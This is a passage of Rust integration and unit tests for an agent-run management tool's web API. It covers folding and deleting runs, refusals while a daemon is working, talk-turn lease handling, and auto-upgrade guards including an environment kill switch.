23755        let updaters = &APP_JS[update..end];
23756        for (at, _) in updaters.match_indices("r.") {
23757            // `r` must be the whole identifier, not the tail of another one
23758            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
23759            let before = updaters[..at].chars().next_back();
23760            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23761                continue;
23762            }
23763            let rest = &updaters[at + 2..];
23764            let len = rest
23765                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23766                .unwrap_or(rest.len());
23767            if len > 0 {
23768                used.push(&rest[..len]);
23769            }
23770        }
23771        assert!(
23772            used.len() > 5,
23773            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23774        );
23775
23776        let missing: Vec<&str> = used
23777            .iter()
23778            .copied()
23779            .filter(|name| !published.contains(name))
23780            .collect();
23781        assert!(
23782            missing.is_empty(),
23783            "a run card's updater reaches for {missing:?}, which `createRunCard` \
23784             never put in `refs` - every card will throw and the list will \
23785             render empty under a count line that says otherwise. Published: \
23786             {published:?}"
23787        );
23788    }
23789
23790    #[tokio::test]
23791    async fn folding_from_the_phone_reports_what_it_removed() {
23792        let fx = Fixture::start().await;
23793        let runs = fx.runs();
23794
23795        // A run with no candidates has nothing to fold, which is a 200 with an
23796        // honest count rather than an error: the operator asked for the trees
23797        // to be gone and they are.
23798        let id = "20260901-000000-fold";
23799        write_run(&runs, id, RunStatus::Stalled);
23800        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23801        assert_eq!(res.status, 200);
23802        assert_eq!(res.json()["removed_count"], 0);
23803        assert_eq!(res.json()["run"], id);
23804        assert!(
23805            runs.join(id).exists(),
23806            "a fold keeps the run's record; only the worktrees go"
23807        );
23808    }
23809
23810    /// `runs/<A>/run.json` holding run B's record is not run A: the phone's fold
23811    /// routes refuse it instead of folding B on A's say, and change nothing.
23812    #[tokio::test]
23813    async fn folding_a_record_that_names_another_run_is_refused() {
23814        let fx = Fixture::start().await;
23815        let runs = fx.runs();
23816        let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23817        write_run(&runs, a, RunStatus::Stalled);
23818        write_run(&runs, b, RunStatus::Stalled);
23819        std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
23820        let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
23821
23822        let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
23823        assert_eq!(res.status, 500, "{}", res.body);
23824        assert!(res.body.contains("not run"), "{}", res.body);
23825        let res = fx
23826            .post(
23827                &format!("/api/runs/{a}/fold-merged"),
23828                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23829            )
23830            .await;
23831        assert_eq!(res.status, 500, "{}", res.body);
23832        assert_eq!(
23833            std::fs::read(runs.join(a).join("run.json")).unwrap(),
23834            record
23835        );
23836    }
23837
23838    #[tokio::test]
23839    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23840        let fx = Fixture::start().await;
23841        let runs = fx.runs();
23842        let wt = fx.home.path().join("wt").join("magi").join("dead");
23843        let id = "20260901-000000-dead";
23844        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23845        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23846        std::fs::create_dir_all(&wt).expect("worktree dir");
23847
23848        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23849        assert_eq!(res.status, 200, "{}", res.body);
23850        assert!(
23851            res.json()["removed_count"].as_u64().unwrap() > 0,
23852            "the worktree this build could not read a state for still went"
23853        );
23854        assert!(
23855            !runs.join(id).exists(),
23856            "an unreadable run has no candidate list to fold selectively, so \
23857             the whole record goes - same as `magi fold` on the CLI"
23858        );
23859    }
23860
23861    #[tokio::test]
23862    async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
23863        let fx = Fixture::start().await;
23864        let runs = fx.runs();
23865        let id = "20260901-000000-mism";
23866        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23867        let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
23868        std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
23869
23870        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23871        assert_eq!(res.status, 500, "{}", res.body);
23872        assert!(
23873            res.json()["error"]
23874                .as_str()
23875                .unwrap()
23876                .contains("records run 20260901-000000-else"),
23877            "{}",
23878            res.body
23879        );
23880        assert_eq!(
23881            std::fs::read(runs.join(id).join("run.json")).unwrap(),
23882            record,
23883            "nothing is removed"
23884        );
23885    }
23886
23887    #[tokio::test]
23888    async fn deleting_an_unreadable_run_removes_it_wholesale() {
23889        let fx = Fixture::start().await;
23890        let runs = fx.runs();
23891        let wt = fx.home.path().join("wt").join("magi").join("gone");
23892        let id = "20260901-000000-gone";
23893        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23894        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23895        std::fs::create_dir_all(&wt).expect("worktree dir");
23896
23897        let res = fx.delete(&format!("/api/runs/{id}")).await;
23898        assert_eq!(res.status, 204, "{}", res.body);
23899        assert!(!runs.join(id).exists(), "the broken record is gone");
23900        assert!(!wt.exists(), "its worktree is gone too");
23901    }
23902
23903    #[tokio::test]
23904    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23905        let fx = Fixture::start().await;
23906        let runs = fx.runs();
23907        let id = "20260901-000000-live";
23908        write_run(&runs, id, RunStatus::Implementing);
23909
23910        let mut beat = crate::daemon::Status::new();
23911        beat.current = vec![crate::daemon::Current {
23912            worker: None,
23913            task: "20260901-000000-task".to_owned(),
23914            run: id.to_owned(),
23915        }];
23916        beat.updated_at = jiff::Timestamp::now();
23917        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23918            .expect("publish a heartbeat");
23919
23920        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23921        assert_eq!(res.status, 409);
23922        assert!(
23923            res.json()["error"]
23924                .as_str()
23925                .unwrap()
23926                .contains("live daemon"),
23927            "folding under a running agent would pull its worktree away"
23928        );
23929    }
23930
23931    #[tokio::test]
23932    async fn fold_merged_requires_a_pr_url() {
23933        let fx = Fixture::start().await;
23934        let runs = fx.runs();
23935        let id = "20260901-000000-nourl";
23936        write_run(&runs, id, RunStatus::Blocked);
23937
23938        let res = fx
23939            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23940            .await;
23941        assert_eq!(res.status, 400, "{}", res.body);
23942
23943        let blank = fx
23944            .post(
23945                &format!("/api/runs/{id}/fold-merged"),
23946                Some(r#"{"pr_url":"   "}"#),
23947            )
23948            .await;
23949        assert_eq!(blank.status, 400, "{}", blank.body);
23950    }
23951
23952    #[tokio::test]
23953    async fn fold_merged_is_404_for_an_unknown_run() {
23954        let fx = Fixture::start().await;
23955        let res = fx
23956            .post(
23957                "/api/runs/nosuchrun/fold-merged",
23958                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23959            )
23960            .await;
23961        assert_eq!(res.status, 404, "{}", res.body);
23962    }
23963
23964    #[tokio::test]
23965    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23966        let fx = Fixture::start().await;
23967        let runs = fx.runs();
23968        let id = "20260901-000000-livemerge";
23969        write_run(&runs, id, RunStatus::Blocked);
23970
23971        let mut beat = crate::daemon::Status::new();
23972        beat.current = vec![crate::daemon::Current {
23973            worker: None,
23974            task: "20260901-000000-task".to_owned(),
23975            run: id.to_owned(),
23976        }];
23977        beat.updated_at = jiff::Timestamp::now();
23978        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23979            .expect("publish a heartbeat");
23980
23981        let res = fx
23982            .post(
23983                &format!("/api/runs/{id}/fold-merged"),
23984                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23985            )
23986            .await;
23987        assert_eq!(res.status, 409, "{}", res.body);
23988        assert!(
23989            res.json()["error"]
23990                .as_str()
23991                .unwrap()
23992                .contains("live daemon"),
23993            "correcting a run's merge underneath a running agent would race \
23994             whatever it is doing to the same `status`/`merge` fields"
23995        );
23996    }
23997
23998    /// A pull request `gh` cannot even ask about (no such remote, no such
23999    /// repository) must never be recorded as a merge on a guess - the same
24000    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
24001    /// command line, reached here through the phone route instead.
24002    #[tokio::test]
24003    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24004        let fx = Fixture::start().await;
24005        let runs = fx.runs();
24006        let id = "20260901-000000-unconfirmed";
24007        write_run(&runs, id, RunStatus::Blocked);
24008
24009        let res = fx
24010            .post(
24011                &format!("/api/runs/{id}/fold-merged"),
24012                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24013            )
24014            .await;
24015        assert_eq!(res.status, 400, "{}", res.body);
24016        assert_eq!(
24017            read_run(&runs, id).unwrap().status,
24018            RunStatus::Blocked,
24019            "a pull request that could not be confirmed merged must leave \
24020             the run exactly where it was"
24021        );
24022    }
24023
24024    #[tokio::test]
24025    async fn terminal_runs_cannot_be_resumed() {
24026        let fx = Fixture::start().await;
24027        let runs = fx.runs();
24028
24029        for (status, word) in [
24030            (RunStatus::Merged, "merged"),
24031            (RunStatus::Ready, "ready"),
24032            (RunStatus::Failed, "failed"),
24033        ] {
24034            let id = format!("20260901-000000-{}", &word[..4]);
24035            write_run(&runs, &id, status);
24036            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24037            assert_eq!(res.status, 409, "{word} must not be resumable");
24038        }
24039    }
24040
24041    #[tokio::test]
24042    async fn resume_is_refused_while_the_loop_is_running() {
24043        let fx = Fixture::start().await;
24044        let runs = fx.runs();
24045        let stalled = "20260901-000000-stal";
24046        write_run(&runs, stalled, RunStatus::Stalled);
24047
24048        // The loop is busy with a *different* run, and that is still a
24049        // refusal: a manual resume must never race whatever the loop itself
24050        // is already driving, whether that is one run or several.
24051        let mut beat = crate::daemon::Status::new();
24052        beat.current = vec![crate::daemon::Current {
24053            worker: None,
24054            task: "20260901-000000-task".to_owned(),
24055            run: "20260901-000000-othr".to_owned(),
24056        }];
24057        beat.updated_at = jiff::Timestamp::now();
24058        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24059            .expect("publish a heartbeat");
24060
24061        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24062        assert_eq!(res.status, 409);
24063        let err = res.json()["error"].as_str().unwrap().to_owned();
24064        assert!(err.contains("othr"), "it names what the loop is on: {err}");
24065        assert!(err.contains("stop it first"), "{err}");
24066    }
24067
24068    #[test]
24069    fn a_run_cannot_be_resumed_twice_at_once() {
24070        let home = TempDir::new().expect("temp home");
24071        let ui = Ui::new(
24072            Queue::at(home.path().join("queue")),
24073            Questions::at(home.path().join("questions")),
24074            Talks::at(home.path().join("talks")),
24075            home.path().join("runs"),
24076            home.path().to_path_buf(),
24077            PathBuf::from("/repo"),
24078        )
24079        .with_worktrees_root(home.path().join("wt"));
24080        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24081        let again = ui.begin_resume("20260901-000000-once");
24082        assert!(again.is_err(), "a second tap must not start a second graph");
24083        drop(first);
24084        assert!(
24085            ui.begin_resume("20260901-000000-once").is_ok(),
24086            "and the claim is released when the attempt ends"
24087        );
24088    }
24089
24090    #[test]
24091    fn talk_thinking_tracks_only_its_held_turn_claim() {
24092        let home = TempDir::new().expect("temp home");
24093        let ui = Ui::new(
24094            Queue::at(home.path().join("queue")),
24095            Questions::at(home.path().join("questions")),
24096            Talks::at(home.path().join("talks")),
24097            home.path().join("runs"),
24098            home.path().to_path_buf(),
24099            PathBuf::from("/repo"),
24100        )
24101        .with_worktrees_root(home.path().join("wt"));
24102        let id = "20260901-000000-once";
24103
24104        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24105        let turn = ui.begin_talk_turn(id).expect("claim turn");
24106        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24107        assert!(
24108            !ui.is_thinking("20260901-000000-other"),
24109            "one talk's turn does not make another talk busy"
24110        );
24111        drop(turn);
24112        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24113    }
24114
24115    #[test]
24116    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24117        let home = TempDir::new().expect("temp home");
24118        let talks = Talks::at(home.path().join("talks"));
24119        let ui = Ui::new(
24120            Queue::at(home.path().join("queue")),
24121            Questions::at(home.path().join("questions")),
24122            talks.clone(),
24123            home.path().join("runs"),
24124            home.path().to_path_buf(),
24125            PathBuf::from("/repo"),
24126        )
24127        .with_worktrees_root(home.path().join("wt"));
24128        let id = "20260901-000000-cross";
24129
24130        let other = Talks::at(home.path().join("talks"))
24131            .claim_turn(id)
24132            .expect("claim")
24133            .expect("the other process wins");
24134        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24135        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24136        assert!(
24137            matches!(
24138                ui.begin_talk_turn_unless_pending(id).expect("start"),
24139                TalkTurnStart::Foreign
24140            ),
24141            "a foreign holder is refused, not queued behind"
24142        );
24143        assert!(
24144            !ui.talk_turns.lock().unwrap().live.contains(id),
24145            "a refused claim leaves no in-process entry behind"
24146        );
24147        drop(other);
24148        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24149        assert!(talks.turn_held(id), "the web turn holds the lease");
24150        drop(turn);
24151        assert!(
24152            !talks.turn_held(id),
24153            "dropping the guard releases the lease"
24154        );
24155    }
24156
24157    fn consult_question(ui: &Ui) -> Question {
24158        let mut q = Question::new(
24159            "20260901-000000-consult".to_owned(),
24160            "implement".to_owned(),
24161            "impl-A".to_owned(),
24162            "Which backend?".to_owned(),
24163            String::new(),
24164            vec!["SQLite".to_owned(), "Redis".to_owned()],
24165        );
24166        ui.questions.put(&mut q).expect("question");
24167        q
24168    }
24169
24170    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24171        (
24172            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24173            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24174        )
24175    }
24176
24177    #[tokio::test]
24178    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24179        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24180        let q = consult_question(&ui);
24181        let talk = ui.talks.get(&id).expect("talk");
24182        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24183        let before = consult_snapshot(&ui, &q, &id);
24184        let cli_talks = Talks::at(ui.home.join("talks"));
24185        assert_eq!(
24186            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24187                .await
24188                .expect("CLI starter"),
24189            crate::consult::Started::Busy
24190        );
24191        assert_eq!(consult_snapshot(&ui, &q, &id), before);
24192        assert!(ui.is_thinking(&id));
24193        drop(guard);
24194        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24195    }
24196
24197    #[tokio::test]
24198    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24199        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24200        let q = consult_question(&ui);
24201        let talk = ui.talks.get(&id).expect("talk");
24202        let started = tmp.path().join("started");
24203        let release = tmp.path().join("release");
24204        let script = tmp.path().join("consult-agent.sh");
24205        std::fs::write(
24206            &script,
24207            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
24208        )
24209        .expect("script");
24210        let mut cfg = stub_config();
24211        cfg.agents[0].id = "mock".to_owned();
24212        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24213        cfg.agents[0].env = std::collections::BTreeMap::from([
24214            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24215            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24216        ]);
24217        let questions = ui.questions.clone();
24218        let cli_talks = Talks::at(ui.home.join("talks"));
24219        let cli_q = q.clone();
24220        let turn = tokio::spawn(async move {
24221            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24222        });
24223        let ready = tokio::time::timeout(Duration::from_secs(30), async {
24224            while !started.exists() {
24225                tokio::time::sleep(Duration::from_millis(10)).await;
24226            }
24227        })
24228        .await;
24229        // Always release and join the agent, even if readiness or the web
24230        // request fails, so a failed assertion cannot leave a turn behind.
24231        let refusal = if ready.is_ok() {
24232            let before = consult_snapshot(&ui, &q, &id);
24233            let result = talk_say(
24234                State(Arc::clone(&ui)),
24235                Path(id.clone()),
24236                Ok(Json(NewTalkTurn {
24237                    reply_to: None,
24238                    text: "another message".to_owned(),
24239                    attachments: Vec::new(),
24240                })),
24241            )
24242            .await;
24243            Some((result, before, consult_snapshot(&ui, &q, &id)))
24244        } else {
24245            None
24246        };
24247        std::fs::write(&release, "").expect("release agent");
24248        let done = turn.await.expect("join CLI turn");
24249        ready.expect("agent started before deadline");
24250        let (result, before, after) = refusal.expect("web request");
24251        let error = result.expect_err("web must refuse the CLI's turn");
24252        assert_eq!(error.status, StatusCode::CONFLICT);
24253        assert!(error.message.contains("a turn is already running"));
24254        assert_eq!(
24255            after, before,
24256            "refusal preserves question, draft and history"
24257        );
24258        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24259        let guard = ui
24260            .begin_talk_turn(&id)
24261            .expect("web claim")
24262            .expect("free again");
24263        drop(guard);
24264    }
24265
24266    #[test]
24267    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24268        let home = TempDir::new().expect("temp home");
24269        let talks = Talks::at(home.path().join("talks"));
24270        let ui = Ui::new(
24271            Queue::at(home.path().join("queue")),
24272            Questions::at(home.path().join("questions")),
24273            talks.clone(),
24274            home.path().join("runs"),
24275            home.path().to_path_buf(),
24276            PathBuf::from("/repo"),
24277        )
24278        .with_worktrees_root(home.path().join("wt"));
24279        let id = "20260901-000000-order";
24280        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24281        // Hold the slot mutex so the drop can finish the lease but not the slot.
24282        let slots = ui.talk_turns.lock().unwrap();
24283        let dropper = std::thread::spawn(move || drop(turn));
24284        let start = std::time::Instant::now();
24285        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24286            std::thread::sleep(Duration::from_millis(5));
24287        }
24288        assert!(!talks.turn_held(id), "the lease is released first");
24289        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24290        drop(slots);
24291        dropper.join().expect("join");
24292        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24293    }
24294
24295    #[tokio::test]
24296    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24297        let fx = Fixture::start().await;
24298        let mut beat = crate::daemon::Status::new();
24299        beat.worker_protocol = None;
24300        beat.pid = 4321;
24301        beat.updated_at = jiff::Timestamp::now();
24302        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24303            .expect("publish a heartbeat");
24304
24305        let res = fx.post("/api/upgrade", None).await;
24306        assert_eq!(res.status, 409);
24307    }
24308
24309    /// [`should_spawn_recheck`] must refuse for the same two reasons
24310    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24311    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24312    /// Purely a predicate over config and the environment - no network, no
24313    /// disk, no runtime - so unlike the fixture-based tests around it this
24314    /// one needs neither.
24315    #[test]
24316    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24317        assert!(!should_spawn_recheck(&crate::config::Update {
24318            mode: UpdateMode::Off,
24319            interval: None,
24320            auto_restart: false,
24321        }));
24322
24323        // SAFETY: single-threaded as far as this variable goes, the same
24324        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24325        unsafe {
24326            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24327        }
24328        let killed = should_spawn_recheck(&crate::config::Update {
24329            mode: UpdateMode::Notify,
24330            interval: None,
24331            auto_restart: false,
24332        });
24333        unsafe {
24334            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24335        }
24336        assert!(
24337            !killed,
24338            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24339             one-time startup check"
24340        );
24341
24342        assert!(should_spawn_recheck(&crate::config::Update {
24343            mode: UpdateMode::Notify,
24344            interval: None,
24345            auto_restart: false,
24346        }));
24347    }
24348
24349    /// [`recheck_poll_period`] must track a configured `[update] interval`
24350    /// shorter than its own default ceiling - a fixed sleep here would leave
24351    /// an operator's short interval waiting on the next wake-up instead of on
24352    /// `should_check`, which is the same bug this whole task exists to fix,
24353    /// just one level down.
24354    #[test]
24355    fn recheck_poll_period_tracks_a_short_configured_interval() {
24356        let short = crate::config::Update {
24357            mode: UpdateMode::Notify,
24358            interval: Some("1m".to_owned()),
24359            auto_restart: false,
24360        };
24361        let period = recheck_poll_period(&short);
24362        assert!(
24363            period <= Duration::from_secs(30),
24364            "a one-minute interval must wake the task far sooner than the \
24365             default ceiling, or the deck would not notice within the \
24366             interval the operator configured: got {period:?}"
24367        );
24368
24369        let default = crate::config::Update {
24370            mode: UpdateMode::Notify,
24371            interval: None,
24372            auto_restart: false,
24373        };
24374        assert_eq!(
24375            recheck_poll_period(&default),
24376            UPDATE_RECHECK_POLL_MAX,
24377            "the default day-long interval should poll at the (capped) \
24378             ceiling rather than needlessly often"
24379        );
24380    }
24381
24382    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24383    /// same throttle `updater::Checker::should_check` already gives the
24384    /// CLI's notify mode. Built over an explicit state file via
24385    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24386    /// write the operator's real `last_update_check.json` - and therefore
24387    /// cannot flake on whatever that file happens to say on the machine
24388    /// running the test.
24389    #[test]
24390    fn recheck_skips_the_network_before_the_interval_elapses() {
24391        let dir = TempDir::new().expect("temp dir");
24392        let path = dir.path().join("state.json");
24393        let state = kaishin::UpdateCheckState {
24394            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24395            last_known_latest: None,
24396            last_known_url: None,
24397        };
24398        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24399
24400        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24401        assert!(
24402            !update_recheck_due(&checker, None),
24403            "a check made moments ago must not be repeated before the \
24404             configured interval elapses"
24405        );
24406    }
24407
24408    /// An upgrade this deck already started must not be raced by a recheck
24409    /// that discovers a newer release mid-install - regardless of what
24410    /// `should_check` says, which is why the state file here is missing
24411    /// entirely: read alone, that alone would answer "never checked, go
24412    /// ahead".
24413    #[test]
24414    fn recheck_defers_to_an_upgrade_already_in_flight() {
24415        let dir = TempDir::new().expect("temp dir");
24416        let path = dir.path().join("state.json");
24417        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24418        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24419
24420        assert!(
24421            !update_recheck_due(&checker, Some(&progress)),
24422            "a recheck must not run while an upgrade this deck started is \
24423             still moving"
24424        );
24425    }
24426
24427    #[tokio::test]
24428    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24429        // The same env var the background check honours (`disabled_by_env`)
24430        // must also stop a button press before it ever calls
24431        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24432        // means "never contact GitHub from this process", and a tap on the
24433        // upgrade button must not override that any more than a broken
24434        // `magi.toml` may. Left unset, this fixture's default config would
24435        // otherwise reach a real, unauthenticated GitHub call.
24436        //
24437        // SAFETY: single-threaded as far as this variable goes - nothing else
24438        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24439        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24440        unsafe {
24441            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24442        }
24443        let fx = Fixture::start().await;
24444        let res = fx.post("/api/upgrade", None).await;
24445        unsafe {
24446            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24447        }
24448        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24449        let body = res.json();
24450        assert!(body["to"].is_null(), "there was no release to move to");
24451        assert!(body["parked"].is_null(), "and nothing was parked");
24452        assert!(
24453            body["detail"]
24454                .as_str()
24455                .unwrap()
24456                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24457            "{body:?}"
24458        );
24459    }
24460
24461    #[test]
24462    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24463        use AutoUpgradeDecision::{Skip, Trigger};
24464        let mut cfg = Update::default();
24465        assert!(matches!(
24466            auto_upgrade_decision(&cfg, false, false, "v2", None),
24467            Skip(_)
24468        ));
24469        cfg.auto_restart = true;
24470        assert_eq!(
24471            auto_upgrade_decision(&cfg, false, false, "v2", None),
24472            Trigger
24473        );
24474        for (disabled, moving, failed) in [
24475            (true, false, None),
24476            (false, true, None),
24477            (false, false, Some("v2")),
24478        ] {
24479            assert!(matches!(
24480                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24481                Skip(_)
24482            ));
24483        }
24484        assert_eq!(
24485            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24486            Trigger
24487        );
24488        cfg.mode = UpdateMode::Off;
24489        assert!(matches!(
24490            auto_upgrade_decision(&cfg, false, false, "v2", None),
24491            Skip(_)
24492        ));
24493    }
24494
24495    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24496        Box::pin(async { anyhow::bail!("test installer failed") })
24497    }
24498
24499    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24500        std::sync::LazyLock::new(Mutex::default);
24501
24502    fn test_replace_and_signal_handover(
24503        home: PathBuf,
24504    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24505        Box::pin(async move {
24506            if let Some(mut progress) = updater::read_progress(&home) {
24507                progress.advance(updater::Stage::Replaced);
24508                updater::write_progress_logged(&home, &progress);
24509            }
24510            if let Some(signal) = TEST_AUTO_HANDOVERS
24511                .lock()
24512                .unwrap_or_else(PoisonError::into_inner)
24513                .remove(&home)
24514            {
24515                signal.notify_one();
24516            }
24517            Ok(())
24518        })
24519    }
24520
24521    #[tokio::test]
24522    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24523        let home = TempDir::new().unwrap();
24524        let mut ui = idle_ui(&home);
24525        ui.repo = home.path().to_path_buf();
24526        // Every successful trigger in this test uses this seam, never the installer.
24527        ui.upgrade_runner = fail_test_upgrade;
24528        let ui = Arc::new(ui);
24529        let latest = |tag: &str| {
24530            Some(kaishin::LatestRelease {
24531                tag_name: tag.into(),
24532                html_url: String::new(),
24533            })
24534        };
24535
24536        // Opt-in default (`auto_restart = false`) does nothing.
24537        assert_eq!(
24538            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24539                .await
24540                .status(),
24541            StatusCode::NO_CONTENT
24542        );
24543        assert!(updater::read_progress(home.path()).is_none());
24544
24545        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24546        std::fs::write(
24547            home.path().join("magi.toml"),
24548            "[update]\nmode = \"off\"\nauto_restart = true\n",
24549        )
24550        .unwrap();
24551        assert_eq!(
24552            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24553                .await
24554                .status(),
24555            StatusCode::NO_CONTENT
24556        );
24557        assert!(updater::read_progress(home.path()).is_none());
24558
24559        std::fs::write(
24560            home.path().join("magi.toml"),
24561            "[update]\nauto_restart = true\n",
24562        )
24563        .unwrap();
24564
24565        // Missing detected release skips without re-querying.
24566        assert_eq!(
24567            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24568                .await
24569                .status(),
24570            StatusCode::NO_CONTENT
24571        );
24572        assert!(updater::read_progress(home.path()).is_none());
24573
24574        // Legacy embedded scheduler is still refused.
24575        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24576        std::fs::write(
24577            home.path().join("daemon.json"),
24578            serde_json::json!({
24579                "schema": 2,
24580                "pid": legacy_pid,
24581                "updated_at": Timestamp::now().to_string(),
24582                "idle": true,
24583            })
24584            .to_string(),
24585        )
24586        .unwrap();
24587        assert_eq!(
24588            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24589                .await
24590                .status(),
24591            StatusCode::CONFLICT
24592        );
24593        assert!(updater::read_progress(home.path()).is_none());
24594        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24595
24596        // Concurrent upgrade guard refuses while the request gate is held.
24597        let gate = ui.upgrade_gate.lock().await;
24598        assert_eq!(
24599            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24600                .await
24601                .status(),
24602            StatusCode::CONFLICT
24603        );
24604        drop(gate);
24605
24606        // Active chat turns no longer defer automatic upgrades.
24607        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24608        assert_eq!(
24609            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24610                .await
24611                .status(),
24612            StatusCode::ACCEPTED
24613        );
24614        let progress = updater::read_progress(home.path()).unwrap();
24615        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24616        assert_eq!(progress.stage, updater::Stage::Downloading);
24617        assert_eq!(
24618            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24619                .await
24620                .status(),
24621            StatusCode::CONFLICT
24622        );
24623        assert!(progress.parked_run.is_none());
24624        assert!(ui.start_detached_loop().await.is_err());
